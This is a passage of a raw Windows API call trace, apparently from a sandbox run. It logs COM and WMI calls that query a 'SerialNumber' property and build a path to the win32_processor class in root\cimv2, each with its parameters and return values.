(This=0x8596c4) returned 0x1 [0077.240] CoGetContextToken (in: pToken=0x36de38 | out: pToken=0x36de38) returned 0x0 [0077.243] CoGetContextToken (in: pToken=0x36e8f0 | out: pToken=0x36e8f0) returned 0x0 [0077.243] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.243] GetCurrentThreadId () returned 0x7e8 [0077.243] IUnknown:AddRef (This=0x52ed884) returned 0x3 [0077.243] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.243] GetCurrentThreadId () returned 0x7e8 [0077.243] IEnumWbemClassObject:Next (in: This=0x52ed884, lTimeout=-1, uCount=0x1, apObjects=0x36ea28, puReturned=0x36ea20 | out: apObjects=0x36ea28*=0x52ed8c0, puReturned=0x36ea20*=0x1) returned 0x0 [0077.245] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec908 [0077.245] IUnknown:AddRef (This=0x52ed8c0) returned 0x2 [0077.245] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52efbd0 [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52efc40 [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52efca0 [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec9c8 [0077.246] WbemLocator:IUnknown:AddRef (This=0x52ed304) returned 0x3 [0077.246] IUnknown:AddRef (This=0x52ed884) returned 0x4 [0077.246] IUnknown:QueryInterface (in: This=0x52ed884, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e988 | out: ppvObject=0x36e988*=0x52ed888) returned 0x0 [0077.246] IClientSecurity:QueryBlanket (in: This=0x52ed888, pProxy=0x52ed884, pAuthnSvc=0x36e978, pAuthzSvc=0x36e97c, pServerPrincName=0x0, pAuthnLevel=0x36e998, pImpLevel=0x36e9a4, pAuthInfo=0x0, pCapabilites=0x36e990 | out: pAuthnSvc=0x36e978*=0xa, pAuthzSvc=0x36e97c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e998*=0x6, pImpLevel=0x36e9a4*=0x3, pAuthInfo=0x0, pCapabilites=0x36e990*=0x20) returned 0x0 [0077.246] IUnknown:Release (This=0x52ed888) returned 0x4 [0077.246] WbemLocator:IUnknown:Release (This=0x52ed304) returned 0x2 [0077.246] WbemLocator:IUnknown:AddRef (This=0x52ed304) returned 0x3 [0077.246] IUnknown:Release (This=0x52ed884) returned 0x3 [0077.246] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ebd98 [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec9e8 [0077.246] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e09d8 [0077.246] IUnknown:AddRef (This=0x52ed8c0) returned 0x3 [0077.246] IUnknown:Release (This=0x52ed8c0) returned 0x2 [0077.247] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36e9dc | out: pperrinfo=0x36e9dc*=0x0) returned 0x1 [0077.247] IUnknown:Release (This=0x52ed884) returned 0x2 [0077.247] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36ea20 | out: pperrinfo=0x36ea20*=0x0) returned 0x1 [0077.249] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x36e290*=0x0 | out: pptlib=0x36e290*=0x8a3dd0) returned 0x0 [0077.251] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x746970c4, ppTInfo=0x52ebdb4 | out: ppTInfo=0x52ebdb4*=0x8a5a84) returned 0x0 [0077.251] IUnknown:Release (This=0x8a3dd0) returned 0x5 [0077.251] IUnknown:AddRef (This=0x8a5a84) returned 0x2 [0077.251] ITypeInfo:RemoteGetTypeAttr (in: This=0x8a5a84, ppTypeAttr=0x36e2e4, pDummy=0x73bae8f5 | out: ppTypeAttr=0x36e2e4, pDummy=0x73bae8f5*=0xf9a0b5ff) returned 0x0 [0077.251] ITypeInfo:LocalReleaseTypeAttr (This=0x8a5a84) returned 0x8999f0 [0077.251] IUnknown:Release (This=0x8a5a84) returned 0x1 [0077.252] CoGetContextToken (in: pToken=0x36e270 | out: pToken=0x36e270) returned 0x0 [0077.252] CoGetContextToken (in: pToken=0x36e234 | out: pToken=0x36e234) returned 0x0 [0077.252] IUnknown:QueryInterface (in: This=0x8596b8, riid=0x73be3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e268 | out: ppvObject=0x36e268*=0x8596c4) returned 0x0 [0077.252] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8596c4, pAptType=0x36e298 | out: pAptType=0x36e298*=3) returned 0x0 [0077.252] IUnknown:Release (This=0x8596c4) returned 0x1 [0077.252] CoGetContextToken (in: pToken=0x36e268 | out: pToken=0x36e268) returned 0x0 [0077.254] CoGetContextToken (in: pToken=0x36e634 | out: pToken=0x36e634) returned 0x0 [0077.254] LoadRegTypeLib (in: rguid=0x7468364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x36e618*=0x0 | out: pptlib=0x36e618*=0x8a3dd0) returned 0x0 [0077.256] ITypeLib:GetTypeInfoOfGuid (in: This=0x8a3dd0, guid=0x746855e4, ppTInfo=0x52ebdb0 | out: ppTInfo=0x52ebdb0*=0x8a5ab0) returned 0x0 [0077.256] IUnknown:Release (This=0x8a3dd0) returned 0x6 [0077.256] IUnknown:AddRef (This=0x8a5ab0) returned 0x2 [0077.256] DispGetIDsOfNames (in: ptinfo=0x8a5ab0, rgszNames=0x36e690*="SerialNumber", cNames=0x1, rgdispid=0x36e680 | out: rgdispid=0x36e680*=-1) returned 0x80020006 [0077.262] IUnknown:AddRef (This=0x52ed8c0) returned 0x3 [0077.262] IWbemClassObject:Get (in: This=0x52ed8c0, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x36e5a0*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x36e5a0*=32) returned 0x0 [0077.262] IUnknown:Release (This=0x52ed8c0) returned 0x2 [0077.262] SysStringLen (param_1="SerialNumber") returned 0xc [0077.262] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0a40 [0077.262] SysStringLen (param_1="SerialNumber") returned 0xc [0077.262] IUnknown:Release (This=0x8a5ab0) returned 0x1 [0077.262] IUnknown:AddRef (This=0x8a5ab0) returned 0x2 [0077.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.263] GetCurrentThreadId () returned 0x7e8 [0077.263] SysStringLen (param_1="SerialNumber") returned 0xc [0077.263] IWbemClassObject:Get (in: This=0x52ed8c0, wszName="SerialNumber", lFlags=0, pVal=0x36e428*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36e460, varVal2=0x74682d81), pType=0x36e438*=1952984454, plFlavor=0x0 | out: pVal=0x36e428*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36e460, varVal2=0x74682d81), pType=0x36e438*=8, plFlavor=0x0) returned 0x0 [0077.263] IUnknown:Release (This=0x8a5ab0) returned 0x1 [0077.271] CoGetContextToken (in: pToken=0x36e8f0 | out: pToken=0x36e8f0) returned 0x0 [0077.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.271] GetCurrentThreadId () returned 0x7e8 [0077.271] IUnknown:AddRef (This=0x52ed884) returned 0x3 [0077.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0077.271] GetCurrentThreadId () returned 0x7e8 [0077.271] IEnumWbemClassObject:Next (in: This=0x52ed884, lTimeout=-1, uCount=0x1, apObjects=0x36ea28, puReturned=0x36ea20 | out: apObjects=0x36ea28*=0x0, puReturned=0x36ea20*=0x0) returned 0x1 [0077.272] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36e9dc | out: pperrinfo=0x36e9dc*=0x0) returned 0x1 [0077.272] IUnknown:Release (This=0x52ed884) returned 0x2 [0077.272] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x36ea20 | out: pperrinfo=0x36ea20*=0x0) returned 0x1 [0077.401] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x288 [0077.401] GetLastError () returned 0x0 [0077.404] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x290 [0077.404] GetLastError () returned 0x0 [0077.423] SetEvent (hEvent=0x290) returned 1 [0077.423] GetLastError () returned 0x0 [0077.425] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36ea30*=0x288, lpdwindex=0x36e7e8 | out: lpdwindex=0x36e7e8) returned 0x0 [0077.474] CoGetContextToken (in: pToken=0x36e880 | out: pToken=0x36e880) returned 0x0 [0077.474] CoGetContextToken (in: pToken=0x36e840 | out: pToken=0x36e840) returned 0x0 [0077.474] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.474] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e8bc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8b8 | out: ppvObject=0x36e8b8*=0x52efd10) returned 0x0 [0077.474] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.474] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.475] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c4 [0077.475] GetLastError () returned 0x0 [0077.475] SetEvent (hEvent=0x290) returned 1 [0077.475] GetLastError () returned 0x0 [0077.475] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x36e254*=0x2c4, lpdwindex=0x36e00c | out: lpdwindex=0x36e00c) returned 0x0 [0077.478] CoGetContextToken (in: pToken=0x36e0a4 | out: pToken=0x36e0a4) returned 0x0 [0077.478] CoGetContextToken (in: pToken=0x36e064 | out: pToken=0x36e064) returned 0x0 [0077.478] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x2 [0077.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x36e0e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e0dc | out: ppvObject=0x36e0dc*=0x52efda8) returned 0x0 [0077.478] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.478] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.485] CoGetContextToken (in: pToken=0x36e124 | out: pToken=0x36e124) returned 0x0 [0077.485] CoGetContextToken (in: pToken=0x36e0e4 | out: pToken=0x36e0e4) returned 0x0 [0077.485] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x2 [0077.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x36e160*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e15c | out: ppvObject=0x36e15c*=0x52efda8) returned 0x0 [0077.485] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.485] WbemDefPath:IWbemPath:SetText (This=0x52efda8, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0077.485] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.485] CoGetContextToken (in: pToken=0x36e900 | out: pToken=0x36e900) returned 0x0 [0077.485] CoGetContextToken (in: pToken=0x36e8c0 | out: pToken=0x36e8c0) returned 0x0 [0077.485] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.485] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e93c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e938 | out: ppvObject=0x36e938*=0x52efd10) returned 0x0 [0077.485] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.486] WbemDefPath:IWbemPath:SetText (This=0x52efd10, uMode=0x4, pszPath="win32_processor") returned 0x0 [0077.486] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.491] CoGetContextToken (in: pToken=0x36e8ec | out: pToken=0x36e8ec) returned 0x0 [0077.491] CoGetContextToken (in: pToken=0x36e8ac | out: pToken=0x36e8ac) returned 0x0 [0077.491] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e928*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e924 | out: ppvObject=0x36e924*=0x52efd10) returned 0x0 [0077.491] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.491] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efd10, puCount=0x36eaa0 | out: puCount=0x36eaa0*=0x0) returned 0x0 [0077.491] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.495] CoGetContextToken (in: pToken=0x36e8dc | out: pToken=0x36e8dc) returned 0x0 [0077.495] CoGetContextToken (in: pToken=0x36e89c | out: pToken=0x36e89c) returned 0x0 [0077.495] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e918*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e914 | out: ppvObject=0x36e914*=0x52efd10) returned 0x0 [0077.495] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.496] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea9c*=0x0, pszText=0x0 | out: puBuffLength=0x36ea9c*=0x10, pszText=0x0) returned 0x0 [0077.496] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.496] CoGetContextToken (in: pToken=0x36e8dc | out: pToken=0x36e8dc) returned 0x0 [0077.496] CoGetContextToken (in: pToken=0x36e89c | out: pToken=0x36e89c) returned 0x0 [0077.496] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e918*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e914 | out: ppvObject=0x36e914*=0x52efd10) returned 0x0 [0077.496] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.496] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea9c*=0x10, pszText="000000000000000" | out: puBuffLength=0x36ea9c*=0x10, pszText="win32_processor") returned 0x0 [0077.496] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.502] CoGetContextToken (in: pToken=0x36e8f0 | out: pToken=0x36e8f0) returned 0x0 [0077.502] CoGetContextToken (in: pToken=0x36e8b0 | out: pToken=0x36e8b0) returned 0x0 [0077.502] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.502] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e92c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e928 | out: ppvObject=0x36e928*=0x52efd10) returned 0x0 [0077.502] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.502] WbemDefPath:IWbemPath:GetInfo (in: This=0x52efd10, uRequestedInfo=0x0, puResponse=0x36eaa4 | out: puResponse=0x36eaa4*=0xc15) returned 0x0 [0077.502] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.503] CoGetContextToken (in: pToken=0x36e8ec | out: pToken=0x36e8ec) returned 0x0 [0077.503] CoGetContextToken (in: pToken=0x36e8ac | out: pToken=0x36e8ac) returned 0x0 [0077.503] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e928*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e924 | out: ppvObject=0x36e924*=0x52efd10) returned 0x0 [0077.503] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.503] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efd10, puCount=0x36eaa0 | out: puCount=0x36eaa0*=0x0) returned 0x0 [0077.503] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.503] CoGetContextToken (in: pToken=0x36e8f0 | out: pToken=0x36e8f0) returned 0x0 [0077.503] CoGetContextToken (in: pToken=0x36e8b0 | out: pToken=0x36e8b0) returned 0x0 [0077.503] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.503] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e92c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e928 | out: ppvObject=0x36e928*=0x52efd10) returned 0x0 [0077.503] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.503] WbemDefPath:IWbemPath:GetInfo (in: This=0x52efd10, uRequestedInfo=0x0, puResponse=0x36eaa4 | out: puResponse=0x36eaa4*=0xc15) returned 0x0 [0077.503] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.504] CoGetContextToken (in: pToken=0x36e8e0 | out: pToken=0x36e8e0) returned 0x0 [0077.504] CoGetContextToken (in: pToken=0x36e8a0 | out: pToken=0x36e8a0) returned 0x0 [0077.504] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e91c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e918 | out: ppvObject=0x36e918*=0x52efd10) returned 0x0 [0077.504] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.504] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efd10, puCount=0x36ea94 | out: puCount=0x36ea94*=0x0) returned 0x0 [0077.504] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.504] CoGetContextToken (in: pToken=0x36e8d0 | out: pToken=0x36e8d0) returned 0x0 [0077.504] CoGetContextToken (in: pToken=0x36e890 | out: pToken=0x36e890) returned 0x0 [0077.504] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e90c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e908 | out: ppvObject=0x36e908*=0x52efd10) returned 0x0 [0077.504] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.504] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea90*=0x0, pszText=0x0 | out: puBuffLength=0x36ea90*=0x10, pszText=0x0) returned 0x0 [0077.504] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.504] CoGetContextToken (in: pToken=0x36e8d0 | out: pToken=0x36e8d0) returned 0x0 [0077.504] CoGetContextToken (in: pToken=0x36e890 | out: pToken=0x36e890) returned 0x0 [0077.505] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e90c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e908 | out: ppvObject=0x36e908*=0x52efd10) returned 0x0 [0077.505] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.505] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea90*=0x10, pszText="000000000000000" | out: puBuffLength=0x36ea90*=0x10, pszText="win32_processor") returned 0x0 [0077.505] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.505] CoGetContextToken (in: pToken=0x36e8e0 | out: pToken=0x36e8e0) returned 0x0 [0077.505] CoGetContextToken (in: pToken=0x36e8a0 | out: pToken=0x36e8a0) returned 0x0 [0077.505] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e91c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e918 | out: ppvObject=0x36e918*=0x52efd10) returned 0x0 [0077.505] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efd10, puCount=0x36ea94 | out: puCount=0x36ea94*=0x0) returned 0x0 [0077.505] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.505] CoGetContextToken (in: pToken=0x36e8d0 | out: pToken=0x36e8d0) returned 0x0 [0077.505] CoGetContextToken (in: pToken=0x36e890 | out: pToken=0x36e890) returned 0x0 [0077.505] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e90c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e908 | out: ppvObject=0x36e908*=0x52efd10) returned 0x0 [0077.505] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.506] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea90*=0x0, pszText=0x0 | out: puBuffLength=0x36ea90*=0x10, pszText=0x0) returned 0x0 [0077.506] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.506] CoGetContextToken (in: pToken=0x36e8d0 | out: pToken=0x36e8d0) returned 0x0 [0077.506] CoGetContextToken (in: pToken=0x36e890 | out: pToken=0x36e890) returned 0x0 [0077.506] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e90c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e908 | out: ppvObject=0x36e908*=0x52efd10) returned 0x0 [0077.506] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.506] WbemDefPath:IWbemPath:GetText (in: This=0x52efd10, lFlags=2, puBuffLength=0x36ea90*=0x10, pszText="000000000000000" | out: puBuffLength=0x36ea90*=0x10, pszText="win32_processor") returned 0x0 [0077.506] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.506] CoGetContextToken (in: pToken=0x36e874 | out: pToken=0x36e874) returned 0x0 [0077.506] CoGetContextToken (in: pToken=0x36e834 | out: pToken=0x36e834) returned 0x0 [0077.506] WbemDefPath:IUnknown:AddRef (This=0x52efd10) returned 0x2 [0077.506] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efd10, riid=0x36e8b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e8ac | out: ppvObject=0x36e8ac*=0x52efd10) returned 0x0 [0077.507] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x2 [0077.507] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efd10, puCount=0x36ea28 | out: puCount=0x36ea28*=0x0) returned 0x0 [0077.507] WbemDefPath:IUnknown:Release (This=0x52efd10) returned 0x1 [0077.508] CoGetContextToken (in: pToken=0x36e860 | out: pToken=0x36e860) returned 0x0 [0077.508] CoGetContextToken (in: pToken=0x36e820 | out: pToken=0x36e820) returned 0x0 [0077.508] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x2 [0077.508] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x36e89c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e898 | out: ppvObject=0x36e898*=0x52efda8) returned 0x0 [0077.508] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.508] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52efda8, puCount=0x36ea14 | out: puCount=0x36ea14*=0x2) returned 0x0 [0077.508] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.508] CoGetContextToken (in: pToken=0x36e850 | out: pToken=0x36e850) returned 0x0 [0077.508] CoGetContextToken (in: pToken=0x36e810 | out: pToken=0x36e810) returned 0x0 [0077.508] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x2 [0077.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x36e88c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e888 | out: ppvObject=0x36e888*=0x52efda8) returned 0x0 [0077.509] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.509] WbemDefPath:IWbemPath:GetText (in: This=0x52efda8, lFlags=4, puBuffLength=0x36ea10*=0x0, pszText=0x0 | out: puBuffLength=0x36ea10*=0xf, pszText=0x0) returned 0x0 [0077.509] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x1 [0077.509] CoGetContextToken (in: pToken=0x36e850 | out: pToken=0x36e850) returned 0x0 [0077.509] CoGetContextToken (in: pToken=0x36e810 | out: pToken=0x36e810) returned 0x0 [0077.509] WbemDefPath:IUnknown:AddRef (This=0x52efda8) returned 0x2 [0077.509] WbemDefPath:IUnknown:QueryInterface (in: This=0x52efda8, riid=0x36e88c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x36e888 | out: ppvObject=0x36e888*=0x52efda8) returned 0x0 [0077.509] WbemDefPath:IUnknown:Release (This=0x52efda8) returned 0x2 [0077.509] WbemDefPath:IWbemPath:GetText (in: This=0x52efda8, lFlags=4, puBuffLength=0x36ea10*=0xf, pszText="00000000000000" | out: 